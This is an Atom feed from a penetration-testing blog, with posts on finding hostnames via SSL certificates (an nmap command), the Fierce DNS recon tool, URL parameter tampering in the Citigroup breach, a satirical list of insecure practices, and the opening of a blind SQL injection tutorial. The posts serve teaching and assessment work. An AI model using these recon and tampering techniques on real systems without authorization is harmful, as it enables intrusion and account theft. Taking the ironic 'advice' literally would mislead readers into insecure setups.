<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;D0MDQXg-fip7ImA9WhRVGUU.&quot;"><id>tag:blogger.com,1999:blog-8599741297530126079</id><updated>2012-01-19T07:04:30.656-08:00</updated><category term="security assessment" /><category term="pen test" /><category term="top 10" /><category term="eap" /><category term="cookies" /><category term="incidents" /><category term="advanced persistent threats" /><category term="burp suite" /><category term="Cross-Site Scripting" /><category term="802.1x" /><category term="sql injection" /><category term="wpa" /><category term="blind sql injection" /><category term="text messaging" /><category term="firefox" /><category term="wireless security" /><category term="social networking" /><category term="pci" /><category term="forceful browsing" /><category term="parameter tampering" /><category term="password security" /><category term="twitter" /><category term="security tools" /><category term="ssl" /><category term="owasp" /><category term="wep" /><category term="video" /><category term="http methods" /><category term="web application firewall" /><category term="XSS" /><category term="web application security" /><category term="session hijacking" /><category term="peap" /><title>Depth Security</title><subtitle type="html" /><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://blog.depthsecurity.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://blog.depthsecurity.com/" /><author><name>Depth Security</name><uri>http://www.blogger.com/profile/14022953365358816685</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>19</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/DepthSecurity" /><feedburner:info uri="depthsecurity" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;D0MDQXg9fSp7ImA9WhRVGUU.&quot;"><id>tag:blogger.com,1999:blog-8599741297530126079.post-675044625765050919</id><published>2012-01-19T07:04:00.000-08:00</published><updated>2012-01-19T07:04:30.665-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-01-19T07:04:30.665-08:00</app:edited><title>Obtaining Host/Domain Names Through SSL Certificates</title><content type="html">During vulnerability and penetration assessments one common beginning task is taking a given IP address space and identifying domain and host names that operate within. It's always helpful to know these names because a lot of web servers operate using host headers to direct web requests to the correct site content, i.e. you need the name to get to the right site. It's pretty easy to find a target company's domain by looking at their website or email addresses. Similarly it's pretty easy to append a "www." or "mail." to a company's domain name to find some basic host names. However, if you stopped there chances are you're missing something.&lt;br /&gt;
&lt;br /&gt;
I always want to know what other domains and alternate host names are being hosted and specifically what web apps are running within those additional domain/host names. This is because I tend to get more mileage from web application vulnerabilities than I do from classic network vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
There are myriad ways of finding out this information. You might start with attempting zone transfers on the domains you do know to dump all host names. This rarely works so you might use a tool to identify host names based on a dictionary of potential values. This will work somewhat but those DNS records must be in your dictionary and you'll invariably miss some. For additional domain names, you might start performing reverse DNS lookups on the IP address space that's in scope for the assessment. Accurate reverse DNS zones are often not available so you might use a tool like Maltego which uses other information sources to identify those other domain names.&lt;br /&gt;
&lt;br /&gt;
Yet another way of identifying straggling domain/host names is to grab SSL certificates on the network and look at the "commonName" attributes. Then you can take any new domain names identified and run them through the same process you already went through for the names you already knew. This may seem arcane but I've personally been in situations where I was unaware of a domain, obtained it through an SSL certificate, performed dictionary-based enumeration of the domain, and identified a hostname for a vulnerable web application listening on a site with host headers. The point is that I would have never known the app existed by just connecting to the web server's IP address without a name. Thorough coverage is the name of the game.&lt;br /&gt;
&lt;br /&gt;
NMAP has a nice script built in to do just this:&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;nmap -p 443,444,8443,8080,8088 --script=ssl-cert --open A.B.C.D/XY&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8599741297530126079-675044625765050919?l=blog.depthsecurity.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DepthSecurity/~4/FpAZ6NUr7fU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.depthsecurity.com/feeds/675044625765050919/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.depthsecurity.com/2012/01/obtaining-hostdomain-names-through-ssl.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/675044625765050919?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/675044625765050919?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/DepthSecurity/~3/FpAZ6NUr7fU/obtaining-hostdomain-names-through-ssl.html" title="Obtaining Host/Domain Names Through SSL Certificates" /><author><name>Jake Reynolds</name><uri>http://www.blogger.com/profile/08401450471965011197</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="22" src="http://1.bp.blogspot.com/-JiW-NQ8-uak/TdgKBqhQc_I/AAAAAAAAANc/gF_4tThM0Ts/s220/5293_1183768718451_1355227335_30492701_4791123_n.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.depthsecurity.com/2012/01/obtaining-hostdomain-names-through-ssl.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkYHSXkyeCp7ImA9WhdUEUk.&quot;"><id>tag:blogger.com,1999:blog-8599741297530126079.post-2982485317573649101</id><published>2011-09-27T09:15:00.000-07:00</published><updated>2011-09-27T09:15:38.790-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-09-27T09:15:38.790-07:00</app:edited><title>Tool Review - Fierce by RSnake</title><content type="html">&lt;a href="http://ha.ckers.org/blog/20071220/fierce-10/"&gt;Fierce&lt;/a&gt; is a simple but very useful DNS reconnaissance tool written by &lt;a href="http://ha.ckers.org/"&gt;Robert Hansen (RSnake)&lt;/a&gt; that I use on virtually every pentest, vuln assessment, or application security assessment I'm involved in. There's nothing fancy or super-technical about this tool; it's just useful and deserves some mention. It combines the functionality of a handful of recon tools into one. It's original purpose was to identify targets for blind pentests for which the address space of the target is not known. However, it's also great way to enumerate DNS records on targets for which you do know the address space.&lt;br /&gt;
&lt;br /&gt;
Fierce first identifies authoritative DNS servers for the target domain specified. The next thing it attempts is a zone transfer, or, a dump of all domain records from each authoritative DNS server. While nice (from a pen-tester's perspective), anonymous DNS zone transfers are rarely allowed these days. &lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-OQV3mPLTFhQ/ToHzllc84rI/AAAAAAAAAOU/nI0k8j7JAFY/s1600/zonetransferfail.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="554" src="http://3.bp.blogspot.com/-OQV3mPLTFhQ/ToHzllc84rI/AAAAAAAAAOU/nI0k8j7JAFY/s640/zonetransferfail.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;br /&gt;
If zone transfer fails then the real usefulness of Fierce becomes apparent. Fierce next brute-force DNS records using a dictionary of common hostnames. This will find DNS records such as www.depthsecurity.com, dev01.depthsecurity.com, cctv.depthsecurity.com and the like. There are other tools that do this but Fierce comes with an already-decent dictionary and does so much more. The real benefit of this, in my opinion, is finding host header names. When multiple, unique websites share the same IP address and port, a port scan will simply identify the single HTTP instance as open. Without the individual websites' hostnames, a pentester will miss the potentially vulnerable code/content of all those websites.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-zraWMs_gJVw/ToHzvobrV4I/AAAAAAAAAOY/mkjY7u8ybn0/s1600/bruteforce.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="554" src="http://1.bp.blogspot.com/-zraWMs_gJVw/ToHzvobrV4I/AAAAAAAAAOY/mkjY7u8ybn0/s640/bruteforce.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Fierce also has some interesting reverse DNS lookup options. Specifying the "-wide" option will cause Fierce to query PTR records for the entire class C space of any unique /24-bit networks it identifies.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-fblBW0uMsvc/ToHyIpppdGI/AAAAAAAAAOM/2STUogfVJ1A/s1600/wide.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-Dyj7hw_yoDA/ToH0NkYqnCI/AAAAAAAAAOc/7KFZmtzRwaA/s1600/wide.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://3.bp.blogspot.com/-Dyj7hw_yoDA/ToH0NkYqnCI/AAAAAAAAAOc/7KFZmtzRwaA/s640/wide.png" width="502" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Using the "-range" option along with either the "-dnsserver" or "-dnsfile" will perform reverse lookups for the range specified using the DNS server(s) included.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-GqBZKp5ouxI/ToH0ecp1G5I/AAAAAAAAAOg/ZM8Muo-v5CU/s1600/range.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="408" src="http://4.bp.blogspot.com/-GqBZKp5ouxI/ToH0ecp1G5I/AAAAAAAAAOg/ZM8Muo-v5CU/s640/range.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8599741297530126079-2982485317573649101?l=blog.depthsecurity.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DepthSecurity/~4/DVtZ0KWImHM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.depthsecurity.com/feeds/2982485317573649101/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.depthsecurity.com/2011/09/tool-review-fierce-by-rsnake.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/2982485317573649101?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/2982485317573649101?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/DepthSecurity/~3/DVtZ0KWImHM/tool-review-fierce-by-rsnake.html" title="Tool Review - Fierce by RSnake" /><author><name>Jake Reynolds</name><uri>http://www.blogger.com/profile/08401450471965011197</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="22" src="http://1.bp.blogspot.com/-JiW-NQ8-uak/TdgKBqhQc_I/AAAAAAAAANc/gF_4tThM0Ts/s220/5293_1183768718451_1355227335_30492701_4791123_n.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-OQV3mPLTFhQ/ToHzllc84rI/AAAAAAAAAOU/nI0k8j7JAFY/s72-c/zonetransferfail.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://blog.depthsecurity.com/2011/09/tool-review-fierce-by-rsnake.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEQCSH87fip7ImA9WhZbEU0.&quot;"><id>tag:blogger.com,1999:blog-8599741297530126079.post-1721677154161108059</id><published>2011-06-14T19:11:00.000-07:00</published><updated>2011-06-14T19:52:49.106-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-14T19:52:49.106-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="forceful browsing" /><category scheme="http://www.blogger.com/atom/ns#" term="pci" /><category scheme="http://www.blogger.com/atom/ns#" term="incidents" /><category scheme="http://www.blogger.com/atom/ns#" term="parameter tampering" /><category scheme="http://www.blogger.com/atom/ns#" term="web application security" /><title>New Details on CitiGroup Compromise</title><content type="html">&lt;div style="font-family: inherit;"&gt;The &lt;a href="http://www.dailymail.co.uk/"&gt;Daily Mail&lt;/a&gt; has a short &lt;a href="http://www.dailymail.co.uk/news/article-2003393/How-Citigroup-hackers-broke-door-using-banks-website.html"&gt;article&lt;/a&gt; about how the recent compromise of 200,000+ Citigroup accounts occurred. Of course there is not much technical detail but the vulnerability and exploit are pretty obvious if what the article says is correct: &lt;span style="font-size: 1.2em;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: small;"&gt;"They simply logged on to the part of the  group's site reserved for credit card customers - and substituted their  account numbers which appeared in the browser's address bar with other  numbers."&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: small;"&gt;Seriously? This sounds like a plain old parameter tampering attack (forceful browsing, or whatever you want to call it). This wasn't even SQL injection which is easy enough. Even worse than that, the parameter in question sounds like it was an account number and that it was included in the URL of the request rather than within the body in a POST request.&lt;/span&gt;&lt;span style="font-size: small;"&gt; Straight out of Hacme Bank:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-ERsdSNmgKkA/TfgdGYm92KI/AAAAAAAAAN8/iM1sQrxGzMw/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="515" src="http://4.bp.blogspot.com/-ERsdSNmgKkA/TfgdGYm92KI/AAAAAAAAAN8/iM1sQrxGzMw/s640/1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-qhtQz1J7-dk/TfgdHnlmKmI/AAAAAAAAAOA/K0qUaKtA19o/s1600/9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="516" src="http://3.bp.blogspot.com/-qhtQz1J7-dk/TfgdHnlmKmI/AAAAAAAAAOA/K0qUaKtA19o/s640/9.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
This attack might sound complicated to the masses who may not be familiar with application security but I assure you it is not. It's one of those "attacks" that anyone with basic knowledge of a browser is capable of successfully pulling off. It's an attack so easy that it almost gives some level of credibility to the way Hollywood portrays "hackers." I just change:&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: small;"&gt;http://www.depthsecuritybank.com/home/?acct=MY_ACCOUNT_NUMBER&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: small;"&gt;to&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: small;"&gt;http://www.depthsecuritybank.com/home/?acct=YOUR_ACCOUNT_NUMBER&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: small;"&gt;I guess I'm not &lt;i&gt;that&lt;/i&gt; surprised since I continually run across applications in 2011 that are still vulnerable in a 1999 sort of way. So fair enough, it was an obvious vulnerability just waiting to be exploited by someone who noticed it. But wait, the article then contradicts itself by quoting an "expert" who is "part of the investigation." "&lt;/span&gt;&lt;span style="font-size: small;"&gt;He said: 'It would have been hard to prepare for this type of vulnerability.'" That's nonsense. The article also begins with, "&lt;/span&gt;&lt;span style="font-size: small;"&gt;It has been called 'one of the most brazen bank hacking attacks' in recent years." Brazen like fuzzing a small integer parameter in a URL until you harvest 200 thousand accounts? I guess so but maybe damaging was the adjective they should have used.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: small;"&gt;You don't "prepare" for vulnerabilities; you securely code your applications so that they don't contain them. You assume developers are going to create security flaws so you continually assess the security of sensitive applications to find and fix these vulnerabilities, especially low-hanging fruit like this one.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: small;"&gt;Ironically, this is one of those types of vulnerabilities that's all but impossible for an automated web application vulnerability scanner to find but incredibly easy for even a savvy 12-year-old to discover. Can the security of any system be guaranteed? No way. Can a large bank be expected to prevent these types of vulnerabilities and compromises? Yep.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: small;"&gt;Some advice to avoid this type of an issue follows:&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;Enforce authorization for every user request. When a user associated with account 0000001 makes a request for account 0256022, politely  decline with a generic error message.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="font-size: small;"&gt;Don't use direct object references whenever possible. Retrieve information like account numbers by accessing users' session objects rather than requiring that they be sent to the server. Think about it, why take from the user what you can get with a higher level of reliability from the server or database? If an 'id' is necessary for some reason then map a temporary value to the account number rather than using the actual account number in users' requests.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="font-size: small;"&gt;Don't send sensitive information in the URL of a request. When in doubt, send parameters within the body of a POST request. This won't protect you from this type of attack but it makes the flaw slightly less obvious.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8599741297530126079-1721677154161108059?l=blog.depthsecurity.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DepthSecurity/~4/J2uZZ87g_SI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.depthsecurity.com/feeds/1721677154161108059/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.depthsecurity.com/2011/06/new-details-on-citigroup-compromise.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/1721677154161108059?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/1721677154161108059?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/DepthSecurity/~3/J2uZZ87g_SI/new-details-on-citigroup-compromise.html" title="New Details on CitiGroup Compromise" /><author><name>Jake Reynolds</name><uri>http://www.blogger.com/profile/08401450471965011197</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="22" src="http://1.bp.blogspot.com/-JiW-NQ8-uak/TdgKBqhQc_I/AAAAAAAAANc/gF_4tThM0Ts/s220/5293_1183768718451_1355227335_30492701_4791123_n.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-ERsdSNmgKkA/TfgdGYm92KI/AAAAAAAAAN8/iM1sQrxGzMw/s72-c/1.png" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://blog.depthsecurity.com/2011/06/new-details-on-citigroup-compromise.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkQDQ3Y5cCp7ImA9WhZWGU4.&quot;"><id>tag:blogger.com,1999:blog-8599741297530126079.post-912458681237848007</id><published>2011-05-20T11:43:00.000-07:00</published><updated>2011-05-20T17:39:32.828-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-20T17:39:32.828-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="incidents" /><title>How to Get Properly Owned</title><content type="html">&amp;nbsp;Here is some sage advice on how to be quickly and effectively compromised:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Expose unnecessary ports via NAT and firewall rules to your DMZ. I'm talking SSH, telnet, HTTP/S, SNMP, MS-SQL, MySQL, YourSQL, NetBIOS.... everything. If you're really serious about getting compromised, NAT public addresses to your internal Active Directory servers and database.If you don't have a firewall or a DMZ, all the better.&lt;/li&gt;
&lt;li&gt;Make sure no effective firewall policies exist between networks of different types like Users &amp;gt; Servers or DMZ &amp;gt; databases. Such policies cause network connectivity issues and make troubleshooting take an extra second or two. Just put them all on one VLAN. Use VLAN 1 because it's easy to remember. For instance, you only have one brain, you probably only had one sandwich today, and it also &lt;i&gt;exactly&lt;/i&gt; one half of two. VLAN 1 is not the default native VLAN for naught; use it.&lt;/li&gt;
&lt;li&gt;Never patch any software. Pay particular attention to avoid checking for patches pertaining to commercial, off-the-shelf web applications or web application/server platforms. Flash and other Adobe products never need patching.&lt;/li&gt;
&lt;li&gt;Do not perform network or web application security assessments. If you've had one performed before but your network/applications have changed significantly, rest assured that the last assessment covers your now completely different, current security posture.&lt;/li&gt;
&lt;li&gt;Do not enforce password complexity or password change/age policies on users. If it is necessary to do so, ensure you exempt higher-ups like CEOs, CFOs, COOs, and the like when they complain about the policies. They can always be trusted to create a secure password on their own volition, plus no attacker would want access to their accounts anyway.&lt;/li&gt;
&lt;li&gt;Conduct regular security awareness training for your users encouraging them to share passwords among the various applications they use like FaceBook, Amazon, eBay, PayPal, and Twitter. It makes it easier for them to stay logged in and avoids help desk calls for password resets.&lt;/li&gt;
&lt;li&gt;Always leave default passwords the same. Some good username/password  combinations are admin/admin, cisco/cisco, root/root, it's all secure  enough. &lt;/li&gt;
&lt;li&gt;If you use WEP for wireless encryption, make sure you keep using it. If you use WPA-PSK, make sure the key is simple and never changes. You might check the /pentest/passwords/wordlists/ dictionaries in BackTrack for some examples of PSKs to use. If you use 802.1x, make sure and uncheck "Validate Certificate Authority" and again, make sure no password complexity policies are enforced. Never concern yourself about rogue wireless access points that may be  bleeding internal network access out into your parking-lot and  surrounding streets. You want good coverage.&lt;/li&gt;
&lt;li&gt;No matter the source, whether it be a website or an email from ch35pv!4gRa@spambot.cn, always click a link if it sounds interesting. If the description above the link seems seedy, invokes emotion, makes a pop culture reference, or expounds a deal that seems too good to be true, click it last year. Use that index finger.&lt;/li&gt;
&lt;li&gt;Ignore all software and browser security warnings. They are simply a nuisance and you should click "run" when it says "warning" and "accept certificate" when it says "certificate cannot be verified."&lt;/li&gt;
&lt;li&gt;Never run AntiVirus and if you do make sure you disable auto-update for virus definitions. Having a larger virus definitions file slows down your system. On the topic, always disable Auto-update features on all software.&lt;/li&gt;
&lt;li&gt;Leave all switch ports that support dynamic trunking protocol in desirable mode if they are not being used as trunks. Ensure that VTP is used so that it's easy for a single switch to push VLAN database updates to all other switches in the VTP domain. While you're at it, enable CDP network-wide.&lt;/li&gt;
&lt;li&gt;Disable SSL always; it's CPU intensive. If you must use SSL, use untrusted, self-signed certificates. It saves money and time.&lt;/li&gt;
&lt;li&gt;Enable anonymous zone transfers on your external DNS servers. This makes it easier to find all of those pesky old hostnames like dev1.yourcompany.com and old_vulnerable_app.yourbusiness.org that might not otherwise be discoverable. &lt;/li&gt;
&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8599741297530126079-912458681237848007?l=blog.depthsecurity.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DepthSecurity/~4/wT_AwyOUX5Y" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.depthsecurity.com/feeds/912458681237848007/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.depthsecurity.com/2011/05/how-to-get-properly-owned.html#comment-form" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/912458681237848007?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/912458681237848007?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/DepthSecurity/~3/wT_AwyOUX5Y/how-to-get-properly-owned.html" title="How to Get Properly Owned" /><author><name>Jake Reynolds</name><uri>http://www.blogger.com/profile/08401450471965011197</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="22" src="http://1.bp.blogspot.com/-JiW-NQ8-uak/TdgKBqhQc_I/AAAAAAAAANc/gF_4tThM0Ts/s220/5293_1183768718451_1355227335_30492701_4791123_n.jpg" /></author><thr:total>3</thr:total><feedburner:origLink>http://blog.depthsecurity.com/2011/05/how-to-get-properly-owned.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0UEQHs6fip7ImA9WhZWGUw.&quot;"><id>tag:blogger.com,1999:blog-8599741297530126079.post-3447107317368175773</id><published>2011-04-22T12:54:00.000-07:00</published><updated>2011-05-20T11:13:21.516-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-20T11:13:21.516-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="burp suite" /><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="blind sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="web application security" /><title>Blind SQL Injection &amp; BurpSuite - Like a Boss</title><content type="html">Data extraction with SQL injection used to be a lot easier a few years ago when it was less known, web application security was less mature, and errors were often exposed. It's very easy to use a variety of methods to cause errors to display database names, table names, column names, and even row values... when errors are enabled. These days, the SQL injection flaws that I am finding are largely of the "blind" type. To take a rough guess, I'd estimate this to be the case at least 8 out of 10 times. That is fine because blind SQL injection is still relatively easy to exploit.... with SQL injection in general still being &lt;a href="http://arstechnica.com/tech-policy/news/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack.ars"&gt;used&lt;/a&gt; to &lt;a href="https://encrypted.google.com/url?sa=t&amp;amp;source=web&amp;amp;cd=9&amp;amp;ved=0CDwQFjAI&amp;amp;url=http%3A%2F%2Fwww.infosecurity-magazine.com%2Fview%2F17285%2Fbarracuda-networks-website-hit-by-sql-injection-attack%2F&amp;amp;ei=utixTbGBO6eJ0QGY0KXPAg&amp;amp;usg=AFQjCNHAOeD9x9_LNzV3DsWrUq9oSJWfsw&amp;amp;sig2=eWWRT0IhAynlZ5sEJ9Kc_g"&gt;great&lt;/a&gt; &lt;a href="http://www.theregister.co.uk/2010/08/17/apple_sql_attack/"&gt;success&lt;/a&gt; in the &lt;a href="http://www.eweek.com/c/a/Security/LizaMoon-Mass-SQL-Injection-Attack-Points-to-Rogue-AV-Site-852537/"&gt;wild&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
There are plenty of SQL Injection tools out there that will work with blind or error-based vulnerabilities. Many of these are installed and ready to run on the &lt;a href="http://www.backtrack-linux.org/downloads/"&gt;BackTrack 4 R2&lt;/a&gt;. &lt;a href="http://sqlmap.sourceforge.net/"&gt;SQLMap&lt;/a&gt; is a good one but there are a lot and your success will vary. These tools can do more than just extract database data. They can get you root. Sometimes this just isn't in the cards for a variety of reasons and you just want to show proof of concept that you can pull back sensitive data through the web server. I love Burp's Intruder tool for this. I'll demonstrate some techniques below and use HacmeBank as a target even though errors are completely visible in this purposefully vulnerable app and blind techniques are not necessary.&lt;br /&gt;
&lt;br /&gt;
The first thing we do is identify the vulnerable request:&lt;br /&gt;
&lt;br /&gt;
